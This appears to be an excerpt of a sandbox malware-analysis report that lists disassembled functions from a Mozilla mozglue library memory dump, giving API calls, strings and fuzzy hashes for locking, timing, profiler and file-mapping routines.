API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 60cabb7ad6c14c3b70bd738258bea1d95387a50c65882541aaf77031ba3f8529
Instruction ID: 3b59c5af3c823e3b50706e3ed5d3e5ea28f05954b5ceaace4242cf62046ecbf4
Opcode Fuzzy Hash: 60cabb7ad6c14c3b70bd738258bea1d95387a50c65882541aaf77031ba3f8529
Instruction Fuzzy Hash: 4A51DC71A09311AFDB15CF25C884A9ABBF4BF89714F50492DF89987740D770E818CBAA

Function 6C64D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C64D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D918
GetCurrentThreadId.KERNEL32 ref: 6C64D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D970
GetCurrentThreadId.KERNEL32 ref: 6C64D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C64DA2E
GetCurrentThreadId.KERNEL32 ref: 6C64DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C64DA91

Part of subcall function 6C615C50: GetTickCount64.KERNEL32 ref: 6C615D40
Part of subcall function 6C615C50: EnterCriticalSection.KERNEL32(6C67F688), ref: 6C615D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64DAB7

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 00098ac525929d5a186ae14f8983e2d104d82586d8dbf94270dbb94cfd1e065f
Instruction ID: 62dd1001385ad40986d074f1d97e5afa8795514cb9b1c24ee3e2c967b0e7d7d0
Opcode Fuzzy Hash: 00098ac525929d5a186ae14f8983e2d104d82586d8dbf94270dbb94cfd1e065f
Instruction Fuzzy Hash: 2271AE35A043049FCB04CF29C488B9ABBF5FF89354F14C96DE85A9B301DB30A945CBA9

Function 6C605E60 Relevance: 21.2, APIs: 14, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C605E9D

Part of subcall function 6C615B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6156EE,?,00000001), ref: 6C615B85
Part of subcall function 6C615B50: EnterCriticalSection.KERNEL32(6C67F688,?,?,?,6C6156EE,?,00000001), ref: 6C615B90
Part of subcall function 6C615B50: LeaveCriticalSection.KERNEL32(6C67F688,?,?,?,6C6156EE,?,00000001), ref: 6C615BD8
Part of subcall function 6C615B50: GetTickCount64.KERNEL32 ref: 6C615BE4

GetCurrentThreadId.KERNEL32 ref: 6C605EAB
GetCurrentThreadId.KERNEL32 ref: 6C605EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C605ECF
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C606017

Part of subcall function 6C5F4310: moz_xmalloc.MOZGLUE(00000010,?,6C5F42D2), ref: 6C5F436A
Part of subcall function 6C5F4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5F42D2), ref: 6C5F4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C605F47
GetCurrentProcess.KERNEL32 ref: 6C605F53
GetCurrentThread.KERNEL32 ref: 6C605F5C
GetCurrentProcess.KERNEL32 ref: 6C605F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C605F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C605F27

Part of subcall function 6C60CA10: mozalloc_abort.MOZGLUE(?), ref: 6C60CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C63F968), ref: 6C605E8C

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C63F968), ref: 6C60605D
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C63F968), ref: 6C6060CC

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID:
API String ID: 3711609982-0
Opcode ID: f200d850b7d29d7de3cf2f947fdd0c7f004d41f1f9b8374d70bc618690beef7b
Instruction ID: 666297e426894840647b3c66ac84b57ef744790127fb6df2a97abcd6a31446aa
Opcode Fuzzy Hash: f200d850b7d29d7de3cf2f947fdd0c7f004d41f1f9b8374d70bc618690beef7b
Instruction Fuzzy Hash: F171C3B06047409FD705DF29C580A5ABBF0FF86304F144D6DE98687B52D770E888CBAA

Function 6C64D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C64D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D52A
GetCurrentThreadId.KERNEL32 ref: 6C64D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D55F
free.MOZGLUE(00000000), ref: 6C64D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C64D5D3
GetCurrentThreadId.KERNEL32 ref: 6C64D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D652
GetCurrentThreadId.KERNEL32 ref: 6C64D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D6A2

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3ba357027828fc4dec42640d2c6027c521435f4f5fbe5ad94031a8b2c6514ae5
Instruction ID: 633805efc5bdbbe2b8dbff76e257ebfc89d05bb65b67578014522c426b361113
Opcode Fuzzy Hash: 3ba357027828fc4dec42640d2c6027c521435f4f5fbe5ad94031a8b2c6514ae5
Instruction Fuzzy Hash: 36518171A04705DFC704DF35C488A9ABBF4FF89358F108A2EE95A97710DB30A845CB99

Function 6C5F1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E784), ref: 6C5F1EC1
LeaveCriticalSection.KERNEL32(6C67E784), ref: 6C5F1EE1
EnterCriticalSection.KERNEL32(6C67E744), ref: 6C5F1F38
LeaveCriticalSection.KERNEL32(6C67E744), ref: 6C5F1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C5F1F83
LeaveCriticalSection.KERNEL32(6C67E784), ref: 6C5F1FC0
EnterCriticalSection.KERNEL32(6C67E784), ref: 6C5F1FE2
LeaveCriticalSection.KERNEL32(6C67E784), ref: 6C5F1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5F2019

Strings

Dgl, xrefs: 6C5F1F32
\gl, xrefs: 6C5F1F3E
MOZ_CRASH(), xrefs: 6C5F2000
Dgl, xrefs: 6C5F1F56

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dgl$Dgl$MOZ_CRASH()$\gl
API String ID: 2055633661-2153450823
Opcode ID: ea665810402d8767b38c497b7ceadf41bfcfa9b8e0a857b3c5521e6072f1eee1
Instruction ID: 4b022e8fdb771a7ea4bb959c3e9b58ba000a7b8b81b9edb75f68395a37b83734
Opcode Fuzzy Hash: ea665810402d8767b38c497b7ceadf41bfcfa9b8e0a857b3c5521e6072f1eee1
Instruction Fuzzy Hash: 2E41B0B1B003258FEB198F69CC89BAB36B5EB8A348F040825E91597744D7749809CFF9

Function 6C615670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6156D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6156E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6156F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C615744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6157BC
GetTickCount64.KERNEL32 ref: 6C6158CB
EnterCriticalSection.KERNEL32(6C67F688), ref: 6C6158F3
__aulldiv.LIBCMT ref: 6C615945
LeaveCriticalSection.KERNEL32(6C67F688), ref: 6C6159B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C67F638,?,?,?,?), ref: 6C6159E9

Strings

MOZ_APP_RESTART, xrefs: 6C6156CC

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 48bce8020be300a619c4a5952b228a55fdbae598aa6c23568c9bca3f359ef8c4
Instruction ID: 3850860760da910e3a629795338b0ab7e0bd5e0f4f2d3ba60dc50a1c234ac8ae
Opcode Fuzzy Hash: 48bce8020be300a619c4a5952b228a55fdbae598aa6c23568c9bca3f359ef8c4
Instruction Fuzzy Hash: A3C15B31A0C3909FD70ADF29C480A6AF7F1BF8A715F158A1DE4C497661D730A885CB9B

Function 6C63EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63EC8C

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

GetCurrentThreadId.KERNEL32 ref: 6C63ECA1
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C63ECC5
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C63ED19
CloseHandle.KERNEL32(?), ref: 6C63ED28
free.MOZGLUE(00000000), ref: 6C63ED2F
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C63EC94

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: af6670be39e1b63734f5df177923f28b2b2c2ad2b1480ef93e2818d0fb67af6f
Instruction ID: 769621338309559f4d64e825abb8112c6cfcfe8c15599a2380479f7ecd9780d8
Opcode Fuzzy Hash: af6670be39e1b63734f5df177923f28b2b2c2ad2b1480ef93e2818d0fb67af6f
Instruction Fuzzy Hash: 6221E171600124ABDB029F25D848E9A3779FF8636CF206A10F91897742DB319C168BBE

Function 6C638ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C5FEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5FEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?), ref: 6C6391F4

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

Strings

data, xrefs: 6C6390E8
marker-table, xrefs: 6C63906C
name, xrefs: 6C638F16
timeline-fileio, xrefs: 6C6390A4
stack-chart, xrefs: 6C6390B2
timeline-ipc, xrefs: 6C639096
timeline-overview, xrefs: 6C63907A
marker-chart, xrefs: 6C63905E
timeline-memory, xrefs: 6C639088

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 356ec19499dff44296967a8925ffa3d6addcea9170ca9f095e3f197ba7d16364
Instruction ID: 2cc7f6010743ff8f711bcf3f2b2fe288926ebb0125e024eaa3ed800eeff082e1
Opcode Fuzzy Hash: 356ec19499dff44296967a8925ffa3d6addcea9170ca9f095e3f197ba7d16364
Instruction Fuzzy Hash: 95B1B5B1A012199BDB08CF55C891BEEBBB5AF85308F205419D405ABF80DB71DD45CFEA

Function 6C61C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C61C5A3
WideCharToMultiByte.KERNEL32 ref: 6C61C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C61C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C61CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C61CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C61CAA5

Strings

(null), xrefs: 6C61C596
0, xrefs: 6C61D30A

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: dc521c88a4e1fed81890774e27c667b579b986c2e5a8a4c8744cbe47138521f0
Instruction ID: 7ae85a2c8739f84f023e86383c237ad8656bc47b5226b23e39b4240eb800a0c2
Opcode Fuzzy Hash: dc521c88a4e1fed81890774e27c667b579b986c2e5a8a4c8744cbe47138521f0
Instruction Fuzzy Hash: 50A1AE3020D381AFDB01DF2DC58475EBBE1AF8A759F04882CE98AD3A51D731D805CB9A

Function 6C61C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C61C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C61C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C61C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61C891

Strings

INF, xrefs: 6C61C794
NAN, xrefs: 6C61C7AD
inf, xrefs: 6C61C78F
nan, xrefs: 6C61C7A8

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 698ec120948c11d366ababf9c015c180e0932e164d67185484b42b961551ac3c
Instruction ID: dd3964754dd3dcc148bb5f730ddf7fc3e712800a9b45f28b5a82b257150f5721
Opcode Fuzzy Hash: 698ec120948c11d366ababf9c015c180e0932e164d67185484b42b961551ac3c
Instruction Fuzzy Hash: 42517F7090C7809BD705AF2DC48129EBBF0BF8A319F004A2DE9D5A7A50E771D9858B56

Function 6C5F3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C5F3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C5F34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C5F34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C5F350E
__Init_thread_footer.LIBCMT ref: 6C5F3522
__aulldiv.LIBCMT ref: 6C5F3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C5F357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C5F3592

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

Strings

kernel32.dll, xrefs: 6C5F34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C5F3508

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 1ab0099d31390b4a6a129f870565ee8d1cb834c985a8abad2ac959bf35eb3361
Instruction ID: 698188b38662887edcabd2c7770091edaab3b5deda3608bac8da3cad4710d6b7
Opcode Fuzzy Hash: 1ab0099d31390b4a6a129f870565ee8d1cb834c985a8abad2ac959bf35eb3361
Instruction Fuzzy Hash: 6531A471B001159BDF09DFB6CC88EAA7775FB86304F100919E511A3750EB74A905CF7A

Function 6C5F4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C634843,?), ref: 6C5F45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C634843,?), ref: 6C5F468A
free.MOZGLUE(?,?,?,?,?,?,6C634843,?), ref: 6C5F46C9
free.MOZGLUE(?), ref: 6C5F46EF
free.MOZGLUE(?), ref: 6C5F4712
free.MOZGLUE(?), ref: 6C5F4735
free.MOZGLUE(?), ref: 6C5F4758
free.MOZGLUE(?), ref: 6C5F477B
free.MOZGLUE(?), ref: 6C5F479E

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 954f1c65973f03cf4a2a583f18487acef320d37f8f4f14b659f551f82bf68783
Instruction ID: 864d6404275baeefa0c708da6564f6461580872a9e853372b1f13aff3f714694
Opcode Fuzzy Hash: 954f1c65973f03cf4a2a583f18487acef320d37f8f4f14b659f551f82bf68783
Instruction Fuzzy Hash: 70B1F671A051548FDB1CDE7CCE9076D77B2AF42328F184628E836DBB96E73098428F91

Function 6C65AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C65AC52
CreateFileMappingW.KERNEL32 ref: 6C65AC7D
GetSystemInfo.KERNEL32 ref: 6C65AC98
MapViewOfFile.KERNEL32 ref: 6C65ACB0
GetSystemInfo.KERNEL32 ref: 6C65ACCD
MapViewOfFile.KERNEL32 ref: 6C65AD05
UnmapViewOfFile.KERNEL32 ref: 6C65AD1C
CloseHandle.KERNEL32 ref: 6C65AD28
UnmapViewOfFile.KERNEL32 ref: 6C65AD37
CloseHandle.KERNEL32 ref: 6C65AD43
CloseHandle.KERNEL32 ref: 6C65AD67

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 0d0f9ef7841c092c2b7e81cd5c653034a68085860c568ca7377e03651dbd5c97
Instruction ID: 20878b8f2753c84148939ee40f1d8988a5a8f68cdd70b868c064c0310c94cd1d
Opcode Fuzzy Hash: 0d0f9ef7841c092c2b7e81cd5c653034a68085860c568ca7377e03651dbd5c97
Instruction Fuzzy Hash: 023171B19043048FDB00BF79C68826EBBF1BF85304F114A2DE98587301EB709459CBA6

Function 6C609620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C609675
